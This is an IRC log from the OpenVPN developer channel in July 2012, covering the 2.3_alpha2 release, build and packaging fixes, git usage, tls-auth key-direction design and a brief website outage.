<+krzee> thats where it dies 17:40 <+krzee> thats its last words 17:41 < plaisthos> that is really strange 17:41 < plaisthos> it should log an error either way ... 17:41 <+krzee> think its possible to make a log pastebin button or similar? 17:42 <+krzee> seeing as thats one of the first things we ask for when helping 17:43 < plaisthos> Should not be a big problem 17:43 < plaisthos> the send log button is already there 17:43 <+krzee> meh i must have missed it 17:43 <+krzee> ahh, menu button 17:44 < plaisthos> yes ... 17:44 < plaisthos> the ics split of the menu in the action bar and menu button is rather strange 17:45 < plaisthos> on the button less galaxy nexus is much more logical 17:46 <+krzee> heh, it connected now 17:46 <+krzee> without changing anything 17:47 < plaisthos> I just tried installing a pastebin app 17:47 < plaisthos> that allowed me to send my log directly to pastebin :) 17:47 <+krzee> sweet 17:48 <+krzee> it used the menu on its own? 17:48 <+krzee> (the menu was updated?) 17:48 < plaisthos> yes 17:48 < plaisthos> the icsopenvpn gui is just creating a send text intent 17:49 < plaisthos> the user can pick an app that has register itself for transmitting text 17:49 <+krzee> hah thats cool 17:50 < plaisthos> in the next version the other way around will work to 17:50 < plaisthos> opening an .ovpn attachment will import the vpn in the app 17:55 < plaisthos> I am going to bed now 17:55 < plaisthos> good night 17:55 <+krzee> weird, the client's ccd settings arent being read, i wonder if clients with - in their common-name have issues 17:55 <+krzee> goonight, thanks =] 17:56 < plaisthos> krzee: the client os will identify itself as android instead of linux 17:56 < plaisthos> krzee: btw. the send config is in the FAQ :P 17:56 <+krzee> ooo a FAQ 17:56 * krzee hunts 17:57 < plaisthos> on the main screen of the app 17:57 <+krzee> ahh nice 17:57 <+krzee> i was looking at web 17:57 <+krzee> heh 18:00 <+krzee> nothing related in the faq 18:00 <+krzee> lotsa messages regarding tap, lol 18:04 < plaisthos> I got asked that a lot 18:05 < plaisthos> There should be a Copying log entries topic 18:06 <+krzee> oh that 18:06 <+krzee> i misunderstood 18:06 <+krzee> yes i see that in the faq 18:09 < plaisthos> gn8 18:09 <+krzee> goodnight 18:33 <+krzee> damn coworker was running 48 torrents 18:33 <+krzee> hah 18:33 <+krzee> that'll do it 19:02 -!- raidz is now known as raidz_afk 21:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jul 03 2012 02:28 -!- dazo_afk is now known as dazo 02:32 <@dazo> krzee: the 0/1 stuff for --tls-auth (and --secret) isn't necessarily bound to client vs server. One side use 0 and the other side uses 1 ... that's all. But if both sides (in the case of --tls-auth) uses the same value, it won't work 02:41 <+krzee> any reason it was kept unbound? 02:44 <@dazo> unbound? 02:44 <@dazo> ahh 02:45 <@dazo> these 'secret' files contains 2048bits of encryption material ... while the HMAC needs only 160 bytes or so ... so it's just to indicate which "half" you want to use ... and using separate keys for each direction enhances the security 02:45 <+krzee> right 02:46 <+krzee> is tls-auth used for ptp too? 02:46 <@dazo> I don't recall, but I think it can 02:47 <+krzee> i guess that would be why to not bind direction to server/client then 02:47 <+krzee> makes sense 02:48 <@dazo> and making it more "random", you make the attack vector somewhat harder as well ... for bruteforce scenarios 02:49 <+krzee> when bruting you dont have the source file, so knowing which half of the file was used wouldnt help 02:49 <+krzee> right? 02:49 <@dazo> true 02:51 * dazo is pondering 02:52 <@dazo> well, if you are able to figure out one of the keys, through analysing the traffic (after all, HMAC is just basically a checksum) ... you wouldn't be able to do too much out of it, as the other direction uses another key 02:54 <@dazo> however, if you have the key needed for _transmission_ you can just ignore the incoming HMAC checksums ... as if you're evil, you don't care too much about if the other side is whom it says to be - you kind of know what you want to attack 02:55 <@dazo> but if you have the key needed for transmission, you can fool the server to think it knows you .... but what will that open up? Well, you get SSL packets into the deeper parts of OpenVPN and the SSL libs 02:55 <@dazo> but it would be a further walk to go to be able to break the SSL part of the traffic ... unless there's a weakness in the SSL lib 03:46 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 04:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:48 -!- ender^ [krneki@foo.eternallybored.org] has quit [Ping timeout: 245 seconds] 06:00 -!- ender^ [krneki@foo.eternallybored.org] has joined #openvpn-devel 07:08 < ecrist> good morning. 08:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 08:20 <@dazo> mattock_: how did the tap-windows testing go? 08:30 < ecrist> dazo - got a minute? 08:30 <@dazo> ecrist: sure! 08:30 < ecrist> I have a pull request on github for easy-rsa 08:30 < ecrist> I want to pull it in to my tree, how do I do that? 08:30 <@dazo> Do you have the git URL for that repo? 08:31 <@dazo> (http/https/git protocol) 08:31 < ecrist> don't know 08:31 <@dazo> if so ... then you just do: git remote add <your-own-shortname> <URL> 08:31 < ecrist> github says it can be auto merged, and gives me a merge button 08:32 < ecrist> but I don't think that'll let me sign off on it 08:32 <@dazo> exactly 08:32 <@dazo> but do you have a pointer to that repo? 08:32 <@dazo> github page 08:32 < ecrist> https://github.com/OpenVPN/easy-rsa/pulls 08:32 <@vpnHelper> Title: Pull Requests · OpenVPN/easy-rsa · GitHub (at github.com) 08:34 < ecrist> would this be it: https://github.com/ngharo/easy-rsa/commit/a800a94c11fb6cb43686e070d0720e0eb926dba7 08:34 <@vpnHelper> Title: Make vars file more sane. · a800a94 · ngharo/easy-rsa · GitHub (at github.com) 08:34 <@dazo> Okay ... I went via that user ... and found the forked repo ... https://github.com/ngharo/easy-rsa/tree/patch-3 08:34 <@vpnHelper> Title: ngharo/easy-rsa at patch-3 · GitHub (at github.com) 08:34 <@dazo> yeah 08:34 <@dazo> The read-only git URL would be: git://github.com/ngharo/easy-rsa.git 08:34 < ecrist> do I want just the commit or the entire repo? 08:34 <@dazo> so then you'll do: git remote add ngharo git://github.com/ngharo/easy-rsa.git 08:35 <@dazo> that adds a local pointer to that repo 08:35 <@dazo> git fetch ngharo 08:35 <@dazo> (which downloads that repo ... and nothing more than a pure download) 08:35 < ecrist> ok, got that 08:36 <@dazo> Then you have a few different approaches to solve this next move ... all ends up basically with the same result, and not sure which is best for you 08:36 <@dazo> but I would probably do a: git cherry-pick -s a800a94c11fb6cb43686e070d0720e0eb926dba7 08:37 <@dazo> that'll add your signed-off signature automatically .... and the a800a94c11fb6cb43686e070d0720e0eb926dba7 is his commitish for that patch 08:37 < ecrist> and how do I look at what's going to happen, when I commit? 08:38 <@dazo> you can try it out ... say in a test branch .... git checkout -b test .... and then do the git cherry-pick 08:39 < ecrist> already done this stuff, I just want to see a diff of what I'm doing before I commit/push 08:39 <@dazo> in git branches are really "cheap" to work with, so you can do that just for testing out things and scratch them just as easily 08:39 <@dazo> ahh ... git log 08:39 <@dazo> or git show 08:39 <@dazo> git show will always show the last commit ... but you can give it a specific commitsh, branch name or tag to look closer at that 08:40 < ecrist> splendid, git show did what I wanted 08:40 < ecrist> then I do git push, right? 08:40 <@dazo> correct 08:40 <@dazo> 'git log -p' can sometimes also be handy ... and also 'git log -p --follow <filename>' 08:44 < ecrist> thanks, got it 08:50 <@dazo> ecrist: just a hint ... I see that there's no newline between the subject and your signed-off-by line in commit 6bbe933bbf01596c214 ... It can make things clearer if you have that extra blank line, as such "footers" then always come at the end of the commit message ... easier to parse later on 08:50 <@dazo> (no need to fix it now ... but just a hint) 09:18 < ecrist> I didn't get to edit any commit messages 09:18 < ecrist> I did the git remote add.., git cherry-pick..., git push 09:19 < ecrist> at no time was I given an editor to edit a commit message. :( 09:20 <@dazo> it's fine on the last commit ... but I meant the one before that 09:32 < ecrist> oh 10:53 -!- raidz_afk is now known as raidz 10:57 -!- dazo is now known as dazo_afk 15:26 <@cron2> so... freebsd test server cloned to gentoo, added scripts to rebuild server setup every night from "master" and restart server instances... 15:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 15:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 19:32 -!- raidz is now known as raidz_afk --- Day changed Wed Jul 04 2012 02:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:27 -!- dazo_afk is now known as dazo 02:48 <@dazo> wow, neat! 02:49 <@mattock> still figuring out the strange problem with windows-nsis 02:49 <@dazo> ouch 02:49 <@mattock> though I had some OPENVPN_VERSION set in the enviroment (to 2.3.0_master), but no 02:49 <@dazo> mattock: you're looking at the issues with openvpn source extrated into openvpn-2.3.0_master? 02:49 <@mattock> need to go through the build scripts and see how the hell it comes up with openvpn-2.3.0_master directory, when all it gets is openvpn-2.3_alpha2 02:50 <@mattock> yep 02:50 <@dazo> is the tarballs correct? do they extract to openvpn-2.3_alpha2/ ? 02:50 <@mattock> afaik it only extract the tarball and uses that, and the version number is defined as a variable 02:50 <@mattock> yes 02:50 <@mattock> that's the strange part 02:51 <@dazo> mattock: git grep 2.3.0_master ... in the root of the git tree where you have this nsis stuff 02:51 <@mattock> hmm, git grep 02:51 <@dazo> or perhaps in the tap-windows tree? 02:53 <@mattock> need to reboot my server, uptime only 272 days 02:53 <@mattock> ...offline for a few mins 02:53 <@dazo> you might be pretty vulnerable on the kernel and glibc side then ;-) 02:53 <@mattock> could be, yes 02:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:54 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 03:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 04:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:31 <@cron2> moin 04:32 <@mattock> MoinMoin 04:54 <@mattock> ah, maybe the problem was too obvious... build-snapshot really builds just that... a Git snapshot 04:55 <@mattock> build-complete should do the trick, but we'll see 04:56 <@mattock> interaction between windows-nsis and generic seems a bit funky, though... 05:34 <@mattock> yes, it was too obvious 05:34 <@mattock> now it's only testing 06:09 <@dazo> cron2: http://polarssl.org/trac/changeset/1297 06:10 <@vpnHelper> Title: Changeset 1297 – PolarSSL Trac page (at polarssl.org) 06:28 <@mattock> smoketests passed, all seems to be good 06:28 <@mattock> just some finishing touches and 2.3_alpha2 is out 06:28 <@mattock> deb/rpm will need to wait until tomorrow/friday, though 06:30 <@dazo> nice!!! 07:26 <@mattock> updating openvpn.net 07:36 <@mattock> ok, it's up 07:36 <@mattock> http://openvpn.net/index.php/download/community-downloads.html 07:36 <@vpnHelper> Title: Community Downloads (at openvpn.net) 07:36 <@mattock> also here: http://openvpn.net/index.php/download.html 07:36 <@vpnHelper> Title: Downloads (at openvpn.net) 07:36 <@mattock> I'll verify that all the other pages have been updated 07:40 <@mattock> yep, all should be in order 07:42 <@mattock> https://forums.openvpn.net/topic10861.html 07:42 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3_alpha2 released : Announcements (at forums.openvpn.net) 07:49 <@mattock> I'll send the mailing list announcement soon and take a well-earned brake :) 07:53 <@mattock> dazo: do you still have the git shortlog for openvpn-2.3_alpha2 (as a file) somewhere? 07:53 <@mattock> I'm wondering if your GPG signature breaks if I copy-and-paste from Trac 07:56 <@mattock> actually, I think this looks good enough: git shortlog v2.3-alpha1...v2.3_alpha2 07:59 <@mattock> it has been done 07:59 <@dazo> mattock: git show v2.3_alpha2 ;-) 07:59 <@mattock> is it equavalent to the above? 08:00 <@dazo> should be ... but I believe you also get the signature, if that was important 08:00 <@mattock> ah yes, I think we can live without it 08:00 <@mattock> i.e. must, because the mails were sent already :P 08:00 <@mattock> now let's see when/if the complaints start 08:01 <@dazo> :) 08:03 <@cron2> dazo: what's that, blowfish for polar? 08:03 <@dazo> cron2: correct :) 08:03 <@cron2> cool. already released, or "just committed"? 08:04 <@dazo> just committed ... they need testers now ... so I'll run some tests on ppc64 and s390 boxes (as that's not tested at all) 08:05 <@cron2> well, compile openvpn with polar-current and run the t_client test set :-) 08:10 <@dazo> yeah, I'll try that too ... and the polar code tree has a lot of tests itself too 10:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:42 -!- dazo is now known as dazo_afk 12:55 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 13:23 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:13 <@vpnHelper> RSS Update - tickets: #217: 2.3-alpha2 : not compiling with "--disable-management" <https://community.openvpn.net/openvpn/ticket/217> 15:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:17 <@mattock> hmm, first bug report, and about _compiling_ 15:18 < plaisthos> that is actually my fault 15:19 < plaisthos> from a quick glance 15:26 <@vpnHelper> RSS Update - tickets: #218: Some known(?) issue with support for new PolarSSL 1.1 RNG when using chroot <https://community.openvpn.net/openvpn/ticket/218> 15:41 -!- habets [~marvin@194.9.8.26] has left #openvpn-devel ["y"] 16:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:05 -!- ender^ [krneki@foo.eternallybored.org] has quit [Ping timeout: 272 seconds] 19:22 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 20:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jul 05 2012 01:02 <@cron2> don't we have a buildbot test case with --disable-management? 02:17 <@mattock> nope 02:17 <@mattock> I wonder if all of these should be reversed: "--enable-crypto", "--enable-ssl", "--enable-lzo", "--enable-management" 02:17 <@mattock> what are the defaults? 02:25 <@cron2> default is "enable" for all these 02:26 <@mattock> yeah, now I know how to decipher configure.ac :) 02:26 <@mattock> I reverted them 02:26 <@mattock> restarting buildbot 02:26 * cron2 braces for the impact 02:28 <@mattock> ok, reverted 02:28 <@mattock> I'll bring my buildslaves up 02:35 <@cron2> fine tuning needed... "--disable-crypto" also must have "--disable-ssl" (you can have --disable-ssl alone, but not --disable-crypto alone) 02:35 <@cron2> while I'm of the religion that --disable-crypto should then just auto-disable ssl, Alon is of the religion that this is a mistake and should lead to an error 02:37 <@mattock> mkay, I'll group those two together 02:39 <@mattock> I'll let the fedora 16 buildslave build what it's got left and then regroup 02:46 <@mattock> uh, maybe not after all... too many builds pending 03:20 <@mattock> nice, grouping of --disable-ssl and --disable-crypto cut down the number of builds significantly 03:22 <@cron2> uh, well, you *want* --disable-ssl + --enable-crypto 03:22 <@cron2> so it's 3 variants 03:22 <@cron2> "default" 03:23 <@cron2> --disable-ssl 03:23 <@cron2> --disable-ssl --disable-crypto 03:23 <@cron2> the 2nd variant is useful for point-to-point openvpn 03:23 <@mattock> ok, I see, np 03:26 <@mattock> I assume having --disable-ssl --disable-ssl is ok (i.e. does not trigger any warnings) 03:27 <@mattock> would save some python code 03:42 <@cron2> should be ok 03:50 <@mattock> I'll verify the new configuration by doing some test builds, and then trigger builds on all builders 03:50 <@mattock> then we'll see what we actually released yesterday :) 03:50 <@mattock> yeah, --disable-management breaks the build 03:51 -!- dazo_afk is now known as dazo 03:51 <@mattock> http://pastebin.com/AgXV6wit 03:51 <@cron2> hooray... we need some sanity checking of our buildbot setup every now and then, it seems :-) 03:51 <@mattock> yep 03:52 <@mattock> I tried to ask which buildflags were sane after the buildsystem overhaul, but all but Alon were quiet :D 03:52 * cron2 fingerpoints to plaisthos "he broke it, he fix it" :-) (I'd look, but today and tomorrow are even more chaotic than usual, so it's unlikely that I'll find time) 03:53 <@mattock> I'll trigger some builds that don't have --disable-management set 03:55 <@mattock> ubuntu 10.04 and freebsd 8.2 building now 03:56 < plaisthos> cron2: I will prepare a patch this evening 04:06 <@dazo> thx! 04:10 <@mattock> the other test builds seemed to succeed 04:10 <@mattock> when the --disable-management bug if fixed, we can rebuild with all builders 04:12 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 240 seconds] 04:16 <@mattock> dazo: there shouldn't be any more patches to easy-rsa from Alon... I'm not sure why he didn't look at the Git commit list to figure that out 04:17 <@dazo> mattock: exactly ;-) ... I just couldn't resist not responding :-P 04:17 <@mattock> yeah, your response was very polite and correct 04:17 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:17 <@mattock> I doubt he's got anything to add to that 04:18 < plaisthos> The patch for disable-managment is quite trivial I submitted a version to the ML 04:18 <@mattock> nice! 04:38 <@mattock> fixing debian rules for 2.3_alpha2 04:58 <@mattock> lots of changes seem to be necessary 05:01 <@cron2> plaisthos: thanks 06:00 <@dazo> mattock: have you seen openvpn.net is down? 06:01 <@mattock> nope, let's see 06:01 <@mattock> hmm, yes 06:02 <@dazo> $ telnet www.openvpn.net 80 06:02 <@dazo> Trying 67.228.116.150... 06:02 <@dazo> telnet: connect to address 67.228.116.150: Connection refused 06:05 <@mattock> might have something to do with the caching service we're using 06:05 <@mattock> whatever it was called 06:06 <@mattock> cloudflare.com 06:30 <@dazo> mattock: is buildbots ready to test plaisthos patch? ... I'm ACKing it now, and will apply/push soonish 06:43 <@mattock> yeah, please push 06:46 <@mattock> do we want pkcs11 support in deb/rpm packages? 06:47 <@mattock> it seems that at least on debian 6 configure fails to find pkcs11-helper-1 even though it (and the development package) is installed 06:51 <@dazo> mattock: if there is general support for PKCS#11 in Debian (say, via log-in, init scripts for SC authentication is installed by default, etc) - then the answer would be "Yes, it should have pkcs11 support" 06:52 * dazo see that gmane is lagging a lot these days .... 06:52 <@mattock> hmm, I doubt it has 06:52 <@dazo> it's default in Fedora, and openSuSE too I believe 06:53 <@dazo> (and of course RHEL + clones) 06:53 <@mattock> no, Debian support seems to be fairly limited (openvpn and gnupg) 06:53 <@mattock> it seems that on ubuntu 12.04 libpkcs11-helper-1 is detected correctly 06:54 <@mattock> on debian 6 not 06:54 <@mattock> headers are in the same place on both 07:00 <@mattock> missing pkg-config it seems 07:00 <@mattock> fine now 07:12 <@mattock> [debian-6-i386] out: dpkg-shlibdeps: warning: dependency on libresolv.so.2 could be avoided if "debian/openvpn/usr/sbin/openvpn" were not uselessly linked against it (they use none of its symbols). 07:12 <@mattock> [debian-6-i386] out: dpkg-shlibdeps: warning: dependency on libnsl.so.1 could be avoided if "debian/openvpn/usr/sbin/openvpn" were not uselessly linked against it (they use none of its symbols). 07:12 <@mattock> I wonder if that complaint makes sense 07:21 * ecrist waves 07:29 <@mattock> debian 6 package build succeeded 07:30 <@mattock> seemed to install even :) 07:39 <@cron2> regarding pkcs-11 support - I'd just check with the existing debian maintainer what he advises... :-) 07:43 <@mattock> well, the problem was solved, and debian/ubuntu maintainers bundle it with pkcs11 support 08:35 <@mattock> I notified raidz and others at the company about openvpn.net being down 08:36 <@mattock> they should fix it as soon as they come to work (2 hours?) 08:50 < ecrist> dazo: fwiw, I've not been getting email for ~4 days due to my mail server migration and a severe case of not-give-a-shit (clinical) 08:51 < ecrist> have the mail server running now, though 08:51 <@dazo> ecrist: ahh, that explains you didn't respond to Alon yesterday ;-) 08:52 <@dazo> (he had some "complaints" about easy-rsa ... but I doubt he was looking at an updated git tree, as I believe all was there ....) 08:57 <@cron2> Alon is very disappointed withour mishandling of everything 09:03 <@cron2> "with our" even 09:58 <@vpnHelper> RSS Update - testtrac: Fix compiling with --disable-management <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=cf93f0e0a65d66ed57f24efb7fbd96dc455b3732> 10:03 -!- dazo is now known as dazo_afk 10:12 < ecrist> what have we mishandled? 11:04 -!- raidz_afk is now known as raidz 11:23 <+krzee> http://www.thewebsiteisdown.com/ 11:23 <@vpnHelper> Title: The Website Is Down (at www.thewebsiteisdown.com) 11:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:28 <@mattock> ecrist: well, Alon has very different ideas of many things than most of the other developers 15:29 <@mattock> it's not that he does not have good ideas, but he does not know a middle road 15:29 <@mattock> it's all or nothing, basically 15:29 <@mattock> or, all or a long, long heated discussion and then something 15:29 <@mattock> something resembling a compromise, that is 15:30 <@mattock> it wears everyone down 15:30 < ecrist> oh, I'm aware of all that, was thinking there was something new/more recent. 15:35 <@mattock> nope, it's been fairly quiet on the western front 15:35 < ecrist> any news on the downed openvpn.net? 15:35 <@mattock> should be up 15:36 <@mattock> yeah 15:36 < ecrist> it is, what happened? 15:37 <@raidz> kind of embarrassing 15:37 <@raidz> varnish crashed 15:37 <@raidz> and never got a monitoring alert 15:39 < ecrist> ouch 15:39 <@raidz> yeah, fixed now 18:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:01 -!- raidz is now known as raidz_afk 19:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jul 06 2012 02:05 -!- dazo_afk is now known as dazo 04:05 <@cron2> mattock: your buildslaves are still not properly cleaning up after them... 04:06 <@cron2> opensolaris disk filled up again 04:06 <@cron2> 500 mbyte of buildbot build dirs... *zap* 05:37 <@mattock> cron2: they don't have any concept of cleaning up afterwards 05:38 <@mattock> but you can probably just delete all of the builder-* folders to get rid of the obsolete ones 05:39 <@mattock> if it can find the folders, it will recreate them 06:29 * cron2 gets out the chainsaw and goes clean up buildbot home 06:40 <@mattock> I should probably do that myself, before some of the buildslaves runs out of disk again 06:41 <@cron2> have fun :) 06:45 * dazo smells the oily smell of crontabs .... 07:02 < ecrist> heh 07:03 -ChanServ:#openvpn-devel- ecrist set flags +O on ecrist. 07:03 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:32 <@dazo> mattock: I have troubles logging into Trac ... something odd going on? 09:33 <@mattock> dazo: i managed to login just fine 10 secs ago 09:33 <@mattock> could you retry? 09:33 <@dazo> mattock: when I click the 'login' link, the page reloads ... and it still says 'login' there ... 09:34 * dazo tries another browser 09:35 <@dazo> mattock: might be my firefox is confused ... chromium worked fine 11:05 -!- raidz_afk is now known as raidz 13:05 -!- dazo is now known as dazo_afk 19:32 -!- raidz is now known as raidz_afk --- Day changed Sat Jul 07 2012 00:17 <@ecrist> cyanogen lists openvpn support rather prominantly. 00:17 <@ecrist> http://www.cyanogenmod.com/features/openvpn 00:17 <@vpnHelper> Title: OpenVPN | CyanogenMod (at www.cyanogenmod.com) 06:06 < plaisthos> :) 06:06 < plaisthos> that implementation has nothing to do with mine ;) 08:35 < plaisthos> I added a short "use inline certificates" to my google code page :) 08:35 < plaisthos> http://code.google.com/p/ics-openvpn/ 08:35 <@vpnHelper> Title: ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 08:44 -!- Guest8000 [root@freebsd/developer/variable] has quit [Quit: I found 1 in /dev/zero] 09:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:44 * plaisthos still does not understand why --with-xx-includes had to been replaced with xx_CFLAGS 10:29 -!- ender| [krneki@foo.eternallybored.org] has quit [Quit: And I don't offend religious people, they offend themselves. -- Markus Persson (notch)] 12:30 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:51 <@cron2> plaisthos: because it's the One True Way... (neither do I, but what do I know about build systems, having hardly any experience)... 15:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:05 -!- shuffle2 [~shuffle2@iarcee.ghettoha.xxx] has left #openvpn-devel [] 21:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sun Jul 08 2012 00:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 11:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 18:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jul 09 2012 01:57 <@d12fk> back from training, i think i forgot about everything about the --management-query-proxy patch i was in the middle with before... 01:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:35 -!- dazo_afk is now known as dazo 03:25 -!- dazo is now known as dazo_afk 03:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:15 <@mattock> easy-rsa debian package ready, seems to work on all debian-based distros I have 04:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:52 <@mattock> debian packages almost there, seem to work on debian 6 and ubuntu 10.04 04:53 <@mattock> ubuntu 12.04 may need some little tweaks due to openssl 1.x 04:59 <+krzee> hey mattock what do ya think of this: 04:59 <+krzee> www.ircpimps.org/redirect.png 05:06 <@mattock> krzee: maybe use arrows instead of lines? 05:06 <@mattock> besides that looks good afaics 05:24 <@mattock> debian packages building -> lunch 06:31 -!- dazo_afk is now known as dazo 07:56 <@cron2> mattock: I think Windows actually *has* such a flag ("needs privilege"). I have no idea how to set this, though 07:59 <@cron2> the checkbox that you can send with rightclick/properties "run as administrator" can actually be set by the installer... 08:00 <@mattock> cron2: ok, would make sense to have that turned on (for now) 08:00 * cron2 is googling... but maybe there is something in the nsis docs already 08:00 <@mattock> could be 08:01 <@cron2> you can do it with a registry setting 08:01 <@cron2> option seven here: 08:01 <@cron2> http://www.sevenforums.com/tutorials/11841-run-administrator.html 08:02 <@cron2> amazing 08:13 <@dazo> Worth reading: http://evilbrainjono.net/blog?showcomments=true&permalink=1094 08:13 <@vpnHelper> Title: Evil Brain Jono's Natural Log (at evilbrainjono.net) 08:14 <@dazo> "Everybody hates Firefox updates" 08:14 <@dazo> "Your users do not "love" your software. Your users are temporarily tolerating your software because it's the least horrible option they have -- for now -- to meet some need. Developers have an emotional connection to the project; users don't." 08:14 <@cron2> s/ updates// :) 08:14 <@dazo> hehehe 08:15 <@dazo> cron2: well, that's actually his conclusion ... firefox users started with hating updates and ended up hating firefox 08:17 <@cron2> well, I started hating firefox when it started bloating itself, and the first time my laptop failed to hibernate-to-disk because firefox had eaten too much RAM... 08:18 <@dazo> ouch 08:19 <@dazo> I've been pondering if Firefox now is about as bloated as Netscape was, when I first switched to this lightweight browser called 'firefox' ... and I'm wondering how fast that old browser would be nowadays 08:20 <@cron2> amazingly fast, but no web site would load properly... 08:21 <@dazo> unfortunately, that's most likely very true 08:22 <@dazo> If it hadn't been that I'm not trusting google software too much (and I don't have time to review it) ... I would probably have been using Chrome/Chromium as the standard browser 08:30 <+krzee> any comments / suggestions for www.ircpimps.org/redirect.png ? 08:31 <@mattock> I've heard they started cleaning up crap from Firefox when they moved to the new development model 08:31 <@mattock> debloating, hopefully 08:36 <@mattock> openvpn-2.3_alpha2 in debian/ubuntu repos 08:36 <@mattock> easy-rsa next, then I'll package for RPM tomorrow/wed 08:38 * cron2 wonders whether we should do _alpha3 instead, given that we already have two bugfixes for alpha2 in git... :-) 08:39 <@mattock> one release per bugfix? 08:39 <@mattock> :P 08:39 <@cron2> well, now we're encouraging people to test something that we know to be broken regarding "tap" and "--disable-master", and we already know that 08:39 <@mattock> maybe just push out 2.3-beta1 08:39 <@mattock> after a few weeks 08:40 <@cron2> or so 08:40 <@cron2> not "after a few weeks" 08:40 <@mattock> a few days, then? 08:41 <@mattock> I'm thinking of "soon" (for beta1) in any case, unless bug reports start pouring in 08:41 <@cron2> +1 08:55 <@dazo> krzee: I would probably have moved the "enable IP forwarding" much earlier (before the "Is redirect-gateway enabled...") 08:56 <+krzee> ok 08:56 <@dazo> krzee: and after "Can you ping google.com?" ... you should check what's your public IP ... to be sure it really is enabled and routed like what you would expect 08:56 <@mattock> easy-rsa in debian/ubuntu repos 08:57 <@mattock> all buildslave/packaging VMs using openvpn-2.3_alpha2 and easy-rsa 2.2.0 08:57 <+krzee> haha good point 08:58 <+krzee> they never even turned on redirect-gateway and i told them it works, lol 08:59 <+krzee> maybe that means i need "Is redirect-gateway enabled" in the very start 08:59 <+krzee> before asking if they can ping 8.8.8.8 09:00 <@dazo> hehe ... good point 10:59 -!- raidz_afk is now known as raidz 12:53 -!- dazo is now known as dazo_afk 13:55 <+krzee> http://www.ircpimps.org/redirect.png 13:55 <+krzee> ^ better? 19:11 -!- raidz is now known as raidz_afk --- Day changed Tue Jul 10 2012 02:43 -!- 